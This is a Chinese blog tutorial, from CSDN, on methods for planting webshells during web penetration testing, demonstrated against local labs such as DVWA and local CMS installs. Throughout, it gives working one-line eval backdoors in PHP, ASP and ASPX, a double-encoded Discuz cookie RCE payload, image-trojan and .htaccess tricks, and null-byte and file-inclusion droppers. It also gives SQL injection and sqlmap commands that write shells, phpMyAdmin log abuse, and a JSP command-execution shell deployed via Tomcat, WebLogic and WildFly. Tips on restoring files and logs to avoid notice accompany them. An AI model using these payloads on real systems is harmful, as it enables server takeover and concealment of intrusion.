获取Webshell的常用方法（一）

已于 2022-03-12 11:34:25 修改
阅读量9.1k 收藏 56
点赞数 8
分类专栏： WEB渗透 文章标签： 渗透测试 web 网络安全
于 2020-12-03 15:38:13 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Captain_RB/article/details/109608241/
版权

Webshell是以php、asp、jsp等网站脚本文件形式存在的一种网页后门，使攻击者可以用web请求的方式与目标网站进行交互，控制网站服务器，进而执行上传工具、下载文件、执行命令等操作。

本文主要介绍在渗透测试过程中获取Webshell的基本思路，实战中还需就地取材，灵活应对。

文章目录

获取Webshell的思路归根结底就是：在网站可访问的具体路径，上传或创建含有木马的动态脚本文件（php、asp、jsp等），然后用工具（蚁剑、菜刀等）连接或者直接访问脚本文件获取Webshell，在应用过程中要绕过WAF、防火墙等规则限制。

木马通常可以分为大马和小马，顾名思义大马功能多，但体积大特征明显，容易被查杀，小马功能简单，但是小巧隐蔽性强，所以一般可以通过小马上传大马。一句话木马就是典型的小马，虽然只有一句话，但是在蚁剑、菜刀等工具的加持下却可以实现文件上传下载、目录遍历等强大功能，常见一句话木马如：

  • php：<?php @eval($_POST['cmd'];?>

  • asp：<%eval request("cmd")%>

  • aspx：<% @Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

本文主要以php一句话木马为例，在本地搭建网站环境进行实验。

一、通过CMS获取Webshell

通过CMS获取Webshell的思路通常分为两类： 一类是针对特定版本的具体漏洞进行利用，完成如远程执行命令、数据库注入等操作；另一类则是通过弱口令或者漏洞利用进后台管理界面，然后通过上传插件、修改模板文件等方式上传木马脚本。这里例举3种常见的CMS：

1.WordPress

WordPress版本5.5.3，登录后台管理界面：http://localhost/wp-admin/index.php，选择上传插件Plugins -> Add New -> Upload Plugin，或者上传主题Appearance -> Themes -> Add New -> Upload Theme，然后浏览选择一句话木马脚本cmd.php，选择安装，尽管会报错提示Package未能成功安装，不过没关系，此时木马脚本已经成功上传了。

在这里插入图片描述
WordPress会根据当前时间将文件上传至特定目录，本例中已将脚本文件上传至${INSTALL_DIR}\htdocs\wp-content\uploads\2020\12目录，蚁剑连接即可成功获取Webshell。

在这里插入图片描述

2.Joomla

Joomla版本3.9.23，进后台管理界面：http://localhost/administrator/index.php，修改Template模板文件，在Configuration -> Templates中随便选择一个模板文件protostar，备份index.php，然后将一句话木马写入，蚁剑连接http://localhost/templates/protostar/index.php，成功获取Webshell，注意之后要尽快将模板文件恢复以免暴露。

在这里插入图片描述

3.Discuz!

首先区分Discuz!和Discuz X，Discuz X是Discuz!和X-Space的结合版，是Discuz!的升级产品，Discuz X ML是基于Discuz X的多国语言版本。

这里以Discuz! X3.3 ML为例，其在2019年7月份曝出远程命令执行漏洞，在这个时间点之前发布的version≤3.4的Discuz X ML都受影响，原因是其未对请求中cookie头的language字段进行过滤，使输入内容直接被拼接写入缓存文件。

用Brup抓请求包，修改Cookie头中最后一个有language的字段5hjy_2132_language，现将其值后边加上'.phpinfo().'，然后Forward，可见服务器返回phpinfo()信息，证明漏洞存在，接下来就是写入一句话木马。

在这里插入图片描述
为绕过后台过滤，这里要为一句话木马进行两次url编码，代码为：

# 原始代码
'.file_put_contents('cmd.php',urldecode('<?php  @eval($_POST[cmd]);?>')).'

# url二次编码
%27.file_put_contents%28%27cmd.php%27%2Curldecode%28%27%253c%253fphp+%2520%2540eval%28%2524_%2550%254f%2553%2554%255bcmd%255d%29%253b%253f%253e%27%29%29.%27

可以用Burp解码看下：

在这里插入图片描述
然后同样地，Brup截断请求包，将url二次编码内容连接到Cookie头中最后一个有language的字段5hjy_2132_language，修改后Forward，浏览器页面正常显示，写入的一句话脚本在网站根目录下，用蚁剑连接http://localhost/discuz-ml/cmd.php，成功获取Webshell。

在这里插入图片描述

二、通过非CMS获取Webshell

（以DVWA作为实验平台）

1.利用文件上传

首先上传脚本文件，如果可以直接上传，或者用Burp截断请求修改文件格式 (文件类型、大小写、加空格等) 绕过过滤规则，这种限制不严格的规则一般是后台过滤白名单导致的，或者修改前台JS过滤规则，就可以成功上传，这样当然最好，确定路径后直接用工具相连就可以了，但是现在很难找到防护这么弱的网站，最起码要绕个小圈子，比如可以先上传图片木马，可以用工具或命令行在一张普通图片中插入一句话木马，命令如下：

copy test.jpg /b + oneword.php /a test.jpg

注意下面的命令是错误的：

copy /b test.jpg + oneword.php test1.jpg

用编辑器打开test.jpg图片，可以发现图片末尾已经插入了一句话：
在这里插入图片描述
对比用错误命令制作的test1.jpg图片，末尾插入的一句话如下：
在这里插入图片描述
然后将制作好的图片木马通过上传点上传（用Burp Repeater查看回复可能会看到上传的路径），因为jpg文件是不能被当做脚本语言解析运行的，所以要运行图片中的脚本必须要将其转换为php格式，此时可以尝试以下思路：

要确认是否成功上传，可以通过访问上传的文件，看是否返回404来判断；访问网站中存在的路径时，请求的url会自动加上/，如访问http://localhost/upload，如果upload目录确实存在，访问后url会变成http://localhost/upload/。

思路1：服务器解析漏洞

一些旧版本服务器对脚本文件的名称解析规则设置不严格，导致通过非常规途径上传的文件可以被当成脚本文件解析。已经暴出有解析漏洞的服务器及其版本如下：

IIS 6.0

  • 文件名解析漏洞：文件尾缀中分号后的字符不会被解析，如：test.asp;.jpg会被解析成asp脚本文件
  • 目录解析漏洞：网站目录名称为.asp .asa .cer的，其路径下的文件都会被当成脚本文件解析，如：/test.asp/test.jpg中，test.jpg会被解析为asp脚本文件
  • 文件类型解析漏洞 (所有服务器适用)：实际上是利用后台过滤不严格的漏洞进行上传，例如下列文件后缀同样会被解析成动态脚本：
    .asp —> .asa .cdx .cer
    .aspx —> ashx asmx ascx
    .php —> .php1 .php3 .phtml
    .jsp —> jspx jspf

IIS 7.0
IIS 7.5
Nginx <=0.8.37

  • 畸形解析漏洞：在默认Fast-CGI开启，且php.ini文件中cgi.fix_pathinfo=1的情况下，在一个文件路径后面加上/xx.php，php会将该文件解析为脚本文件，如：先利用上传漏洞上传木马文件test.jpg，然后在访问该文件时路径变为test.jpg/.php，则服务器会将test.jpg解析为php脚本

Nginx 0.5.*
Nginx 0.6*
Nginx 0.7<=0.7.65
Nginx 0.8<=0.8.37

  • %00解析漏洞：在Fast-CGI关闭的情况下，在一个文件路径 (GET请求的URL)后面加上%00.php，nginx会将该文件解析为脚本文件，如：先利用上传漏洞上传木马文件test.jpg，然后在访问该文件时路径改为test.jpg%00.php，则会将test.jpg解析为php脚本

Apache 1.xx/2.xx

  • 多后缀解析漏洞：解析脚本文件名称时从右到左进行判断，直到读取到可解析的名称为止，如test.php.jpg会被解析为test.php
思路2：0x00截断漏洞

后台语言有些函数在处理字符串时，会把0x00当做结束符处理（注意0x00是十六进制编码表示方法，是ascii为0的字符，在GET请求中0x00要变为URL编码00%，在POST请求中要利用HEX编辑器使其为0x00），我们可以利用这个特点截断修改Request，使得服务器后台处理后，将上传的文件保存为以asp、php、aspx作为尾缀的文件，从而使其可以被当成脚本文件解析。

利用Burp截断上传文件过程中的Request，转发到Repeater，反复修改尝试，观察Request中的文件名和路径等变量和Response中的上传文件最终路径的关系，当判断服务器后台将上传文件保存的最终路径为拼接目录和上传的文件名时，可以利用Burp Repeater先将文件路径写入拼接目录，然后在HEX视图中，将文件路径.php后的字符改为0x00，这样拼接后的上传文件完整路径字符串形如：../uploads/xxx.php%00/20190818.jpg，而后台在处理时会将0x00截断的目录名../uploads/xxx.php当成最终的文件路径。如下例所示：

利用Burp Repeater反复修改Request中的变量信息，观察Response，判断后台处理后将上传文件保存的最终路径为filepath+filename，于是尝试将filepath名称改为要生成的脚本文件名称test.asp p，这里以空格和p结尾纯粹是为了在HEX视图下便于找到该位置进行截断，空格的ascii为0x20，再强调一遍这里修改的是文件路径名，而不是文件名，如下所示：

在这里插入图片描述
切换到HEX视图，将空格的字节位置改为00，对上传文件的最终拼接路径进行截断，然后选择go，查看Response发现已成功上传，用蚁剑进行连接Response中成功上传文件的路径，即可获取Webshell。

在这里插入图片描述

思路3：本地包含漏洞

如果可以利用本地包含漏洞，将jpg文件当做php脚本解析运行，则可以将一句话木马修改为以下形式：

<?php
	$counter_file='cmd.php';
	$fopen=fopen($counter_file,'wb');
	fputs($fopen,'<?php @eval($_POST[cmd]);?>');
	fclose($fopen);
?>

目的是在解析执行脚本文件时新生成一个脚本文件，用于工具连接。实验中利用上述脚本生成图片木马并上传，security可以选择high，上传后直接可以看到路径：

在这里插入图片描述
然后转到DVWA文件包含界面，security选择medium，url中page的参数修改为刚刚文件上传的路径，因为medium级别过滤掉了./，所以page路径改为..//..//hackable/uploads/test1.jpg，正常解析运行后会出现乱码：

在这里插入图片描述
这时会在当前页面目录http://localhost/dvwa/vulnerabilities/fi/，生成用于工具连接的脚本文件，用蚁剑进行连接，成功获取Webshell。

在这里插入图片描述

思路4：文件转储功能

通常在后台管理界面，通过备份数据库等操作，将上传的jpg文件转储为php格式，这样在确定绝对路径后就可以直接用工具连接，当然这种方法首先要登录管理后台。

思路5：上传配置文件

一般是因为服务端对上传文件名过滤不严格，导致可以上传其他格式的配置文件，从而修改服务器配置。

Apache

  • .htaccess文件：Apache中的一个配置文件，负责相关目录下的网页配置。通过上传.htaccess文件，可以在上传目录下实现任意文件动态解析，注意启用.htaccess配置需要修改httpd.conf，在其中启用AllowOverride all。例如下述配置可以匹配文件名中包含123的文件，使其解析为php脚本，如果成功上传图片木马123.jpg，则直接访问123.jpg则会以php脚本解析：
<!--如果没有FilesMatch匹配，则该目录下所有文件都会被解析成php脚本-->
<FilesMatch "123">
    SetHandler application/x-httpd-php
</FilesMatch>

2.利用SQL注入

思路1：手动注入

找到注入点后，采用UNION语句将木马脚本写入文件，DVWA环境security选择low，然后注入点输入以下命令：（UNION SELECT 内容的列数要和当前表列数一致）

1' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php'#

命令成功执行，若当前用户有写入文件的权限，则会创建木马脚本，蚁剑连接成功获取Webshell。

思路2：sqlmap注入

方法一：利用sqlmap的--file-write和--file-dest参数写入脚本文件，命令执行后会提示是否检查文件已成功写入，sqlmap使用这个方法写入是最直接有效的：

sqlmap -r ~/post.txt -p id --file-write=cmd.php --file-dest="D:\\www\\upload\\cmd.php"

方法二：利用sqlmap获取os shell，之后再用命令写入：

尝试获取os shell，然后执行系统命令写入文件，命令如下：

sqlmap -r ~/post.txt -p id --dbms=mysql --os-shell

echo '<?php @eval($_POST["cmd"]); ?>' > 'c:\xampp\htdocs\cmd.php'

但是在实验过程中提示没有写入权限， 明明是root用户，sql注入都能成功写入的，但是用sqlmap却不可以，很奇怪。
在这里插入图片描述
方法三：获取sql shell，执行sql语句写入文件，命令如下：

sqlmap -r ~/post.txt -p id --dbms=mysql  --sql-shell

SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php';

发现可以获取sql shell，但是写入文件时会提示在不支持堆叠查询的情况下，无法完成SELECT INTO OUTFILE的命令，晕。。
在这里插入图片描述
自动化工具sqlmap虽然方便，但是流量明显有时候会被拦，一些情况下手动注入效率更高。

难点：确定网站绝对路径

SQL语句写脚本文件需要知道其绝对路径，所以首先要确认网站目录，可以从以下几个方面入手：

（1）WEB默认目录

  • Apache：
    Windows：C:\wamp64\www\(Wamp Server)、C:\xampp\htdocs\(XAMPP)、C:\Program Files\Apache Software Foundation\Apachex.x\htdocs\
    Linux：/opt/lampp/htdocs(LAMPP)、/var/www/

  • IIS：C:\inetpub\wwwroot\

（2）SQL注入点暴路径

对于存在SQL注入漏洞的页面，可以尝试构造错误参数，在报错提示信息中可能存在路径信息：

  • para=-1
  • para=-999
  • para=1'

（3）查询特殊变量

如mysql中的全局变量secure_file_priv和general_log_file：其中secure_file_priv限制了sql语句的可写路径，若该变量有值，则文件只允许写入到该目录下（子目录也不行），如果变量值为NULL，则为禁止导出，如果为空，则不限制导出；general_log_file为日志文件输出路径，一般都会有值。

可以通过 select @@VARIABLE_NAME 或者 show variables like "VARIABLE_NAME" 语句查询变量值，从而确定可写目录的绝对路径。

（4）暴phpinfo信息

对于PHP网站，可以扫描phpinfo信息，很多网站都用phpinfo.php当测试文件，手动测试或用DirBuster、御剑等工具扫描网站子目录查找，如：

www.host.com/test.php
www.host.com/info.php
www.host.com/phpinfo.php
www.host.com/1.php

phpinfo界面有网站根目录信息：
在这里插入图片描述
（5）Phpmyadmin暴路径

在获取Phpmyadmin界面后，可以尝试访问以下子目录，某些版本可能会暴出网站路径信息：

/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/index.php?lang[]=1
/phpmyadmin/phpinfo.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

（6）CMS暴路径

根据不同版本的CMS针对性进行扫描，寻找其带有路径配置信息的界面，网上可以找到很多，如：

  • WordPress
    /wp-admin/includes/file.php
    /wp-content/themes/twentynineteen/footer.php

  • DedeCMS
    /member/templets/menulit.php
    /plus/paycenter/alipay/return_url.php
    /paycenter/nps/config_pay_nps.php

  • ECShop
    /api/cron.php
    /wap/goods.php
    /temp/compiled/pages.lbi.php
    /temp/compiled/admin/login.htm.php

（7）查看配置文件

如果注入点有查看文件的权限，可以通过SQL命令查看网站目录的配置文件，常见平台的配置文件如：

  • Windows
    Wamp Server：C:\wamp64\bin\apache\apache2.4.37\conf\httpd.conf
    XAMPP：C:\xampp\apache\conf\httpd.conf
    IIS：6.0版本之前配置文件在C:\windows\system32\inetsrv\metabase.xml，之后配置文件在C:\windows\system32\inetsrv\config\applicationhost.config
  • Linux
    LAMPP：/opt/lampp/etc/httpd.conf
    Apache：/etc/httpd/conf/httpd.conf
    PHP：/etc/php.ini

以DVWA环境为例，security选择low，在注入点用UNION拼接注入语句：

1' UNION SELECT 1,load_file('C:\\xampp\\apache\\conf\\httpd.conf')#

可见返回配置文件内容：

三、其他获取Webshell方法

1.Phpmyadmin

思路1：SQL命令写入

进入后台用SQL命令写入一句话木马：

SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php';

注意刚开始运行时可能会提示The MySQL server is running with the --secure-file-priv option so it cannot execute this statement，这是因为配置了secure_file_priv变量，该变量可以限制MYSQL语句导出文件，在console控制台用命令查看:

在这里插入图片描述或者用命令select @@secure_file_priv;查看，可见secure_file_priv的值为c:\wamp64\tmp\，文件只允许导出到该目录下（子目录也不行）；如果Value值为NULL，则为禁止导出；如果为空，则不限制导出。

所以解决办法要么将文件导出到指定的目录，要么修改secure_file_priv变量，该变量是只读属性，只能在my.ini中配置：secure_file_priv=""，然后重启服务。然后就可以正常写入脚本文件了，最后用蚁剑连接成功获取Webshell。

在这里插入图片描述

思路2：日志记录生成

利用日志记录生成木马脚本文件，在变量搜索中查询general，启用general log日志记录选项，并将日志生成文件general log file修改为要生成的木马脚本，然后在控制台输入查询语句SELECT '<?php @eval($_POST[cmd]); ?>'，设置的日志文件会记录该命令，也就是写入到了刚设置的木马脚本文件中，最后用蚁剑连接成功获取Webshell。
在这里插入图片描述
注意在命令运行后要及时恢复日志文件配置，不然日志大量输出，很容易引起警觉。

2.Tomcat

Tomcat用户配置有不同角色，以便区分权限，只有manager-gui角色的用户才可以进Tomcat后台管理界面。在Tomcat7之后，初始配置中不再有manager-gui角色用户，用户需要在${INSTALL_DIR}/conf/tomcat-users.xml文件中添加配置后才可以使用该角色进后台管理界面：

<user username="root" password="password" roles="manager-gui" />

Tomcat版本8.5，进http://localhost:8080/manager/html管理界面后，在要部署的WAR文件中选择有jsp木马脚本的WAR文件（将jsp脚本文件制作压缩包，然后尾缀改为war即可）。

在这里插入图片描述
部署成功后，Tomcat会将WAR文件上传至${INSTALL_DIR}/webapps目录，并将WAR文件自动解压生成同名目录。

要提前备好一些功能强大好用的jsp木马脚本，上传后用浏览器访问，输入脚本中配置的用户和密码即可获取Webshell，注意因为jsp无法像php、asp那样将提交的参数直接当成命令执行，所以无法写成类似用菜刀、蚁剑直连的短小精悍的一句话木马，只能将执行命令写在脚本文件中，所以通常比较大。

这里以执行系统命令且带密码和回显的jsp脚本为例：将以下代码写入脚本cmd.jsp，生成WAR包web.war并在Tomcat后台管理界面上传部署。

<%
    if("pass".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

提示部署成功后，网页访问http://localhost:8080/web/cmd.jsp?i=whoami&pwd=pass，可以看到命令正常回显，但是权限受限，只能执行基本命令。

（网上有很多文章提到菜刀可直连的jsp脚本，但是在实验过程中无论是用菜刀还是蚁剑都没有成功连接，Tomcat版本为8.5.59，不明为何）

3.Weblogic

Weblogic版本14.1.1，进http://localhost:7001/console管理界面后，选择部署–>安装，浏览选择要上传的WAR文件，这里的WAR文件与上一节相同，其中jsp脚本的功能都是执行系统命令且带密码和回显，按照默认提示一步步完成WAR文件的部署。
在这里插入图片描述
随后在浏览器访问http://localhost:7001/cmd/cmd.jsp?pwd=pass&i=whoami，可以看到命令正常回显。

4.JBoss

首先区分JBoss不同版本名称JBoss AS、Wildfly和JBoss EAP：JBoss AS是开源社区版本WEB应用服务器，继2012年发布7.0版本后，更名为Wildfly，而JBoss EAP是在开源版本基础上构建的商业版。

这里以WildFly 10.0.0为例，进http://localhost:9990/console管理界面后，选择Deployments标签页中的添加选项，按照提示选择要上传的WAR文件，与上一节相同，其中jsp脚本的功能都是执行系统命令且带密码和回显，可以看到命令正常回显。
在这里插入图片描述

Captain_RB
关注
  • 8
    点赞
  • 踩
  • 56
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
浅谈webshell检测方法
02-26
“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户（入侵者）通过网站端口对网站服务器的某种程度上操作的权限。简单理解：webshell就是一个web的页面，但是它的功能非常强大可以获得一些管理员不希望你获得的权限，比如执行系统命令、删除web页面、修改主页等。webshell中由于需要完成一些特殊的功能就不可避免的用到一些特殊的函数，我们也就可以对着特征值做检查来定位webshell，同样的webshell本身也会进行加密来躲避这种检测。下图就是一张phpwebshell的截图，它的功能还是比较全的，如果你是
webshell及木马详解
金色%夕阳的博客
04-24 5321
webshell简介 什么是webshell ，一句话木马是什么样的 <?php @eval($_POST[cmd]);?> 怎么对木马进行免杀（绕过） 异或变形，关键字拼接，加密，编码等方式 文件上传 文件上传有哪些可以利用的点 前端校验 js 禁用js 或者 burp抓包后改名将.jpg改为.php 后端校验MIME类型。 更改Content-Type为Content-Type: image/jpeg 文件后缀黑名单 寻找其他可解析后缀 利用.user.ini .htaccess 利用%
获取webshell的十种方法
最新发布
2301_76786857的博客
03-07 1181
黑客在入侵企业网站时，通常要通过各种方式获取webshell从而获得企业网站的控制权，然后方便进行之后的入侵行为。
MSSQL 2005 LOG备份webshell的方法
12-15
注:转载就注入出自’孤孤浪子博客’原创 http://itpro.blog.163.com 第一步 http://itpro.blog.163.com/test.asp’;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]– 第二步： http://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[ne
窃密型WebShell检测方法
01-30
前段时间由于项目的需要也因为正在负责一个后门检测小工具的项目开发所以恶补了一下Webshell检测技术内容，一路天马行空写下此文和大家分享。小弟才疏学浅如有内容上的问题还请不吝指正。近年来网站被植入后门等隐蔽性攻击呈逐年增长态势，国家互联网应急中心发布的《2013年我国互联网网络安全态势综述》称2013年国家互联网应急中心共监测发现我国境内6.1万个网站通过境外被植入后门，较2012年增长62.1%。黑客在利用WEB应用漏洞攻击成功后，通常会利用植入Webshell后门实现对应用系统篡改、对操作系统控制以及对数据库中敏感数据的窃取。攻击者通过浏览器或者控制端与被控制的WEB应用系统之间通过开启
webshell详解
w17791476027的博客
08-03 3373
概念webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门文件，得到一个命令执行环境，以达到控制网站服务器的目的。从字面上来说，webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境，用户与服务器操作系统交互的接口。
网络安全-webshell详解（原理、攻击、检测与防御）
热门推荐
关注网络安全、云原生安全
09-14 6万+
简介 原理 攻击 WebShell管理工具 Cknife中国菜刀 antSword中国蚁剑 冰蝎动态二进制加密网站管理客户端 weevely3Weaponized web shell Altmanthe cross platform webshell tool in .NET Webshell SniperManage your website via terminal quasibotcomplex webshell manager, quasi-http botne...
Web Shell 简介（Web Shell 第 1 部分）
简介
02-18 1246
多通宵写文章，额不会编了 目录前言持久远程访问特权升级发动攻击僵尸Web Shells 101 使用 PHP（Web Shells 第 2 部分）系统执行shell_exec直通反引号 前言 Web shell是攻击者使用的恶意脚本，目的是升级和维持对已经受损的 Web 应用程序的持久访问。Web shell本身不能攻击或利用远程漏洞，所以它总是攻击的第二步（这个阶段也称为post-exploitation）。 攻击者可以利用常见的网页漏洞，如SQL 注入、远程文件包含 (RFI)，甚至使用跨站点脚本
获取WebShell思路
acepanhuan的博客
02-27 1294
获取webshell思路
Web Shell 简介
weixin_40270125的博客
01-03 1027
Web-Shell 简介 Web-Shell是一种可以将其上传到web服务器的脚本文件，实现远程控制服务器。 攻击者可以利用SQL注入、远程文件包含(remote file inclusion, RFI)、FTP等常见漏洞，甚至可以使用跨站点脚本(cross-site scripting, XSS)作为社会工程攻击的一部分，上传恶意Web-Shell脚本。Web-Shell本身并不能利用远程漏...
渗透测试获取webshell方法总结
u013930899的博客
10-06 3078
本文总结了渗透测试php网站获取webshell的几种方法
关于webshell
安全汪
11-27 2212
什么是webshell 1.webshell简介 webshell，顾名思义：web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理工具，可以对web服务器进行操作的权限，也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途，但是由于webshell的功能比较强大，可以上传下载文件，查看数据库，甚至
WebShell基础详解（特点、原理、分类、工具）
Hardworking666的博客
01-07 1万+
文章目录一、WebShell简介二、WebShell特点三、WebShell分类四、WebShell原理五、内存马六、WebShell管理工具 一、WebShell简介 Webshell就是以asp、php、jsp或cgi等网页文件形式存在的一种代码执行环境，也可以将其称做为一种网页后门。 “web”的含义是显然 需要服务器开放web服务，“shell”的含义是 取得对服务器某种程度上操作权限。 webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。 由于webshell其大多..
【基础补充】WebShell基础知识
Fighting_hawk的博客
02-28 3213
1. 简单WebShell的本质； 2. 了解大马与小马的特点； 3. 了解常见的一句话木马。
Webshell后门分析
Williamanddog的博客
02-06 656
通过文件上传漏洞上传webshell 访问webshell地址： 可以通过post传参来执行命令，a=system("whoami"); 为什么可以通过post传参来执行系统命令呢？ 分析一句话webshell的代码： php?>是php语言的格式，eval将括号内的字符串解析为php代码。 $_POST[test]为获取post参数test的值 @是抑制符号，屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息，这样用户就看不到程序的 出错信息。
获取webshell方法
qq_34304107的博客
04-11 2144
一、CMS获取webshell方法百度、googel二、非CMS获取webshell 1、数据库备份获取webshell2、抓包上传获取webshell3、SQL命令获取webshell4、模板修改获取webshell5、插入一句话获取webshell6、修改上传类型获取webshell三、其他方式1、PHPMyadmin 获取webshell2、Tomcat获取webshell3、weblogi...
Linux Shell脚本获取当前路径
06-26 4431
我们的脚本经常被放置到不同层次的目录之中，有人喜欢放到/opt, 有人喜欢放到/home/myname,这是不可控的。而在自动化部署工作中，经常要移动、拷贝文件，获取当前脚本运行目录，才能方便的操控相对路径内的文件。本文就给出一种在脚本中获知当前程序运行目录的办法。
批量获取webshell的思路
03-31
1. 扫描漏洞：使用扫描工具扫描目标网站，发现漏洞，例如文件上传漏洞、SQL注入漏洞、命令执行漏洞等。 2. 利用漏洞：针对已经发现的漏洞，使用相关的工具或脚本进行利用，例如上传webshell、执行命令、获取管理员权限等。 3. 搜索已知webshell：利用搜索引擎和各种公开的webshell库，搜索已知的webshell，尝试使用这些webshell获取目标网站的权限。 4. 自行编写webshell：根据目标网站的环境和漏洞特性，编写符合要求的webshell，尝试上传到目标网站。 5. 社会工程学：通过社会工程学手段，例如钓鱼、欺骗、诱骗等，获取目标网站管理员或其他有权限的用户的账号和密码，然后登录目标网站上传webshell。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值